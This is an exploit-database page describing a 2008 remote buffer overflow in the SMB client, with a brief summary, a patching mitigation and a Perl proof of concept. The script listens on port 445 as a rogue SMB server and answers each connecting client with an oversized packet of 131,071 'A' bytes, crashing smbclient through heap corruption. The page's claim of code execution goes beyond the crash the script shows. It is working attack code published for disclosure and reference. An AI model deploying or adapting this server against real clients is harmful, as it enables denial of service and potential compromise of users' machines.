header-logo
Suggest Exploit
vendor:
SMB Client
by:
k`sOSe
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: SMB Client
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: Yes
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2008

SMB Client Remote Buffer Overflow

This exploit is a remote buffer overflow vulnerability in the SMB client. The vulnerability is triggered when a maliciously crafted packet is sent to the vulnerable SMB client. The packet contains a large number of 'A' characters, which causes a buffer overflow and allows arbitrary code execution.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the latest security patches are installed on the system.
Source

Exploit-DB raw data:

#!/usr/bin/perl
# 06/01/2008 - k`sOSe
#
# ~ # smbclient //localhost/w00t
# *** glibc detected *** smbclient: free(): invalid next size (fast): 0x0823c2d8 ***
#

use warnings;
use strict;
use IO::Socket;


my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '445', Listen => 1, Reuse => 1) || die($!);

while(my $csock = $sock->accept())
{
	print $csock	"\x00" .
			"\x01\xff\xff" .
			"\x41" x 131071;
			
}

# milw0rm.com [2008-06-01]

Navigation

Suggest Exploit

Services By CQR